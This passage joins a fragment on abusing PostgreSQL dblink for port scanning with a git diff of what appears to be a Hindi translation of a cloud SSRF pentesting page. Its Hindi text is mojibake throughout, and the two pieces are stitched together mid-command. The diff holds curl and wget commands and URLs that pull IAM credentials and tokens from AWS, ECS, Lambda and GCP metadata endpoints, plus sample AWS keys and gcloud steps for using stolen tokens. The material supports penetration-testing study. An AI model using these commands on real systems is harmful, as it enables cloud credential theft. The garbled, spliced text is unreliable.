рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЖрдк **рдЦреБрд▓реЗ рдкреЛрд░реНрдЯреНрд╕** рдХреА рднреА **рдЦреЛрдЬ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рд╡рд╣ **рдлрдВрдХреНрд╢рди рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ `dblink_connect_u()` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдХрд╣рд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ `dblink_connect_u()` `dblink_connect()` рдХреЗ рд╕рдорд╛рди рд╣реИ, рд╕рд┐рд╡рд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рдпрд╣ рдЧреИрд░-рд╕реБрдкрд░рдпреВрдЬрд░реНрд╕ рдХреЛ рдХрд┐рд╕реА рднреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред +`dblink_connect` рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЖрдк **рдЦреБрд▓реЗ рдкреЛрд░реНрдЯреНрд╕ рдХреА рдЦреЛрдЬ** рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рд╡рд╣ **рдХрд╛рд░реНрдп рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ `dblink_connect_u()` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдХрд╣рд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ `dblink_connect_u()` `dblink_connect()` рдХреЗ рд╕рдорд╛рди рд╣реИ, рд╕рд┐рд╡рд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рдпрд╣ рдЧреИрд░-рд╕реБрдкрд░рдпреВрдЬрд╝рд░реНрд╕ рдХреЛ рдХрд┐рд╕реА рднреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛\_. ```sql SELECT * FROM dblink_connect('host=216.58.212.238 port=443 diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index 526ae49b8..fac4047fe 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -11,11 +11,11 @@ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЗ **2 рд╕рдВрд╕реНрдХрд░рдг** рд╣реИрдВред **рдкрд╣рд▓рд╛** рд╕рдВрд╕реНрдХрд░рдг **GET** рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЛ **рдПрдХреНрд╕реЗрд╕** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЗрд╕рд▓рд┐рдП рдХреЛрдИ рднреА **SSRF рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ**)ред **рд╕рдВрд╕реНрдХрд░рдг 2** рдХреЗ рд▓рд┐рдП, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), рдЖрдкрдХреЛ рдПрдХ **рдЯреЛрдХрди** рдХреЗ рд▓рд┐рдП **PUT** рдЕрдиреБрд░реЛрдз рднреЗрдЬрдХрд░ рдкреВрдЫрдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдлрд┐рд░ рдЙрд╕ рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреВрд╕рд░реЗ HTTP рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ (рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ SSRF рдХреЗ рд╕рд╛рде **рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╣реИ**)ред > [!CAUTION] -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ EC2 рдЙрджрд╛рд╣рд░рдг IMDSv2 рдХреЛ рд▓рд╛рдЧреВ рдХрд░ рд░рд╣рд╛ рд╣реИ, [**рджрд╕реНрддрд╛рд╡реЗрдЬреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT рдЕрдиреБрд░реЛрдз рдХрд╛ рдЙрддреНрддрд░** рдореЗрдВ **рд╣реЙрдк рд▓рд┐рдорд┐рдЯ 1** рд╣реЛрдЧрд╛, рдЬрд┐рд╕рд╕реЗ EC2 рдЙрджрд╛рд╣рд░рдг рдХреЗ рдЕрдВрджрд░ рдПрдХ рдХрдВрдЯреЗрдирд░ рд╕реЗ EC2 рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдирд╛ рдЕрд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рдПрдЧрд╛ред +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ EC2 рдЙрджрд╛рд╣рд░рдг IMDSv2 рдХреЛ рд▓рд╛рдЧреВ рдХрд░ рд░рд╣рд╛ рд╣реИ, [**рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT рдЕрдиреБрд░реЛрдз рдХрд╛ рдЙрддреНрддрд░** рдореЗрдВ **рд╣реЙрдк рд▓рд┐рдорд┐рдЯ 1** рд╣реЛрдЧрд╛, рдЬрд┐рд╕рд╕реЗ EC2 рдЙрджрд╛рд╣рд░рдг рдХреЗ рдЕрдВрджрд░ рдПрдХ рдХрдВрдЯреЗрдирд░ рд╕реЗ EC2 рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдирд╛ рдЕрд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рдПрдЧрд╛ред > > рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **IMDSv2** рднреА **`X-Forwarded-For` рд╣реЗрдбрд░ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЯреЛрдХрди рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░реЗрдЧрд╛**ред рдпрд╣ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рд░рд┐рд╡рд░реНрд╕ рдкреНрд░реЙрдХреНрд╕реА рдХреЛ рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред -рдЖрдк [рджрд╕реНрддрд╛рд╡реЗрдЬреЛрдВ рдореЗрдВ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)ред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реЗ рдЗрд╕рдореЗрдВ рд╕реЗ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛рддреА рд╣реИ: +рдЖрдк [рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдореЗрдВ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html) рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реЗ рдЗрд╕рдореЗрдВ рд╕реЗ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛рддреА рд╣реИ: ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" @@ -88,7 +88,7 @@ aws_access_key_id = ASIA6GG71[...] aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...] aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= ``` -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **aws_session_token** рдЖрд╡рд╢реНрдпрдХ рд╣реИ рддрд╛рдХрд┐ рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдХрд╛рдо рдХрд░ рд╕рдХреЗред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **aws_session_token** рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдирд┐рд╡рд╛рд░реНрдп рд╣реИред [**PACU**](https://github.com/RhinoSecurityLabs/pacu) рдХрд╛ рдЙрдкрдпреЛрдЧ рдЦреЛрдЬреЗ рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд╕рд╛рде рдЖрдкрдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред @@ -98,7 +98,7 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4 рдпрджрд┐ рдЖрдк _**http://169.254.170.2/v2/credentials/\**_ рдкрд░ рдкрд╣реБрдБрдЪрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк ECS рдорд╢реАрди рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкрд╛рдПрдВрдЧреЗред рд▓реЗрдХрд┐рди рдкрд╣рд▓реЗ рдЖрдкрдХреЛ **\** рдвреВрдВрдврдирд╛ рд╣реЛрдЧрд╛ред \ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдорд╢реАрди рдХреЗ рдЕрдВрджрд░ **environ** рд╡реЗрд░рд┐рдПрдмрд▓ **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** рдХреЛ рдкрдврд╝рдирд╛ рд╣реЛрдЧрд╛ред\ рдЖрдк рдЗрд╕реЗ `file:///proc/self/environ` рдкрд░ **Path Traversal** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрдврд╝рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред\ -рдЙрд▓реНрд▓рд┐рдЦрд┐рдд http рдкрддрд╛ рдЖрдкрдХреЛ **AccessKey, SecretKey рдФрд░ token** рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдПред +рдЙрд▓реНрд▓реЗрдЦрд┐рдд http рдкрддрд╛ рдЖрдкрдХреЛ **AccessKey, SecretKey рдФрд░ token** рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдПред ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` @@ -118,7 +118,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null | рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, IAM рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рдЕрд▓рд╛рд╡рд╛, Lambda рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЗ рдкрд╛рд╕ **рдЗрд╡реЗрдВрдЯ рдбреЗрдЯрд╛ рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдлрд╝рдВрдХреНрд╢рди рд╢реБрд░реВ рд╣реЛрдиреЗ рдкрд░ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред рдпрд╣ рдбреЗрдЯрд╛ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрд▓рдмреНрдз рдХрд░рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓** **рдЬрд╛рдирдХрд╛рд░реА** рд╣реЛ рд╕рдХрддреА рд╣реИ (рдЬреИрд╕реЗ **stageVariables** рдХреЗ рдЕрдВрджрд░)ред IAM рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд╡рд┐рдкрд░реАрдд, рдпрд╣ рдбреЗрдЯрд╛ рдорд╛рдирдХ SSRF рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **`http://localhost:9001/2018-06-01/runtime/invocation/next`** рдкрд░ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реИред > [!WARNING] -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **lambda рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** **env рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕** рдХреЗ рдЕрдВрджрд░ рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ **рд╕реНрдЯреИрдХ рдЯреНрд░реЗрд╕** рдореЗрдВ lambda рдХреЛрдб env рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдкреНрд░рд┐рдВрдЯ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЙрдиреНрд╣реЗрдВ **рдПрдХ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░рдХреЗ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдирд╛** рд╕рдВрднрд╡ рд╣реИред +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **lambda рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** **env рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕** рдХреЗ рдЕрдВрджрд░ рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ **рд╕реНрдЯреИрдХ рдЯреНрд░реЗрд╕** lambda рдХреЛрдб env рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдРрдк рдореЗрдВ **рдПрдХ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░рдХреЗ рдЙрдиреНрд╣реЗрдВ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ**ред ### SSRF URL for AWS Elastic Beanstalk @@ -141,7 +141,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean ### Google Cloud рдХреЗ рд▓рд┐рдП SSRF URL -HTTP рд╣реЗрдбрд░ **`Metadata-Flavor: Google`** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдФрд░ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд URLs рдХреЗ рд╕рд╛рде рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ: +HTTP рд╣реЗрдбрд░ **`Metadata-Flavor: Google`** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдФрд░ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд URLs рдХреЗ рд╕рд╛рде рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ: - http://169.254.169.254 - http://metadata.google.internal @@ -226,20 +226,20 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" ``` -Beta рдХреЛ рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдПрдХ рд╣реЗрдбрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ (рдзрдиреНрдпрд╡рд╛рдж Mathias Karlsson @avlidienbrunn) +рдмреАрдЯрд╛ рдХреЛ рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдПрдХ рд╣реЗрдбрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ (рдзрдиреНрдпрд╡рд╛рдж Mathias Karlsson @avlidienbrunn) ``` http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` > [!CAUTION] -> **рдирд┐рдХрд╛рд▓реА рдЧрдИ рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдЯреЛрдХрди** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдмрд╕ рдпрд╣ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +> **рдирд┐рдХрд╛рд▓реА рдЧрдИ рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдЯреЛрдХрди** рдХрд╛ **рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рдЖрдк рдмрд╕ рдпрд╣ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: > > ```bash -> # рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ +> # Via env vars > export CLOUDSDK_AUTH_ACCESS_TOKEN= > gcloud projects list > -> # рд╕реЗрдЯрдЕрдк рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ +> # Via setup > echo "" > /some/path/to/token > gcloud config set auth/access_token_file /some/path/to/token > gcloud projects list @@ -325,13 +325,13 @@ curl http://169.254.169.254/metadata/v1.json | jq > [!TIP] > рдПрдХ Azure VM рдореЗрдВ 1 рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рдФрд░ рдХрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рдиреЗрдВ рд╣реЛ рд╕рдХрддреА рд╣реИрдВред рдЬрд┐рд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк **VM рд╕реЗ рдЬреБрдбрд╝реА рд╕рднреА рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рдиреЛрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред > -> **рдбрд┐рдлрд╝реЙрд▓реНрдЯ** рд░реВрдк рд╕реЗ, рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ **рд╕рд┐рд╕реНрдЯрдо рдЕрд╕рд╛рдЗрди рдХреА рдЧрдИ MI (рдпрджрд┐ рдХреЛрдИ рд╣реЛ)** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред +> рдЬрдм рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рд╕реЗрд╡рд╛ **рд╕рд┐рд╕реНрдЯрдо рдЕрд╕рд╛рдЗрди рдХреА рдЧрдИ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧреА, рдпрджрд┐ рдХреЛрдИ рд╕рд┐рд╕реНрдЯрдо рдЕрд╕рд╛рдЗрди рдХреА рдЧрдИ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рд╣реИред рдпрджрд┐ рдХреЗрд╡рд▓ **рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрд╕рд╛рдЗрди рдХреА рдЧрдИ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди** рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ рдХреЛрдИ рд╕рд┐рд╕реНрдЯрдо рдЕрд╕рд╛рдЗрди рдХреА рдЧрдИ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рдирд╣реАрдВ рд╣реИ рдФрд░ **рдХрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрд╕рд╛рдЗрди рдХреА рдЧрдИ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рдиреЗрдВ** рд╣реИрдВ, рддреЛ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рд╕реЗрд╡рд╛ рдПрдХ рддреНрд░реБрдЯрд┐ рд▓реМрдЯрд╛рдПрдЧреА рдЬреЛ рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рддреА рд╣реИ рдХрд┐ рдХрдИ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рдиреЗрдВ рд╣реИрдВ рдФрд░ рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ **рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ рдХрд┐ рдХрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИ**ред > -> рджреБрд░реНрднрд╛рдЧреНрдпрд╡рд╢, рдореБрдЭреЗ рдХреЛрдИ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдирд╣реАрдВ рдорд┐рд▓рд╛ рдЬреЛ рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реЛ рдХрд┐ рдПрдХ VM рдХреЗ рд╕рд╛рде рд╕рднреА MIs рдЬреБрдбрд╝реА рд╣реБрдИ рд╣реИрдВред +> рджреБрд░реНрднрд╛рдЧреНрдпрд╡рд╢, рдореБрдЭреЗ рдХреЛрдИ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдирд╣реАрдВ рдорд┐рд▓рд╛ рдЬреЛ рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реЛ рдХрд┐ рдПрдХ VM рдХреЗ рдкрд╛рд╕ рд╕рднреА MIs рдЬреБрдбрд╝реА рд╣реБрдИ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдПрдХ Red Team рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ рдПрдХ VM рдХреЗ рд▓рд┐рдП рд╕рднреА рдЕрд╕рд╛рдЗрди рдХреА рдЧрдИ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рдиреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдПрдХ рдХрдард┐рди рдХрд╛рд░реНрдп рд╣реЛ рд╕рдХрддрд╛ рд╣реИред > > рдЗрд╕рд▓рд┐рдП, рд╕рднреА рдЬреБрдбрд╝реЗ рд╣реБрдП MIs рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: > -> - **az cli** рдХреЗ рд╕рд╛рде **рдЬреБрдбрд╝реА 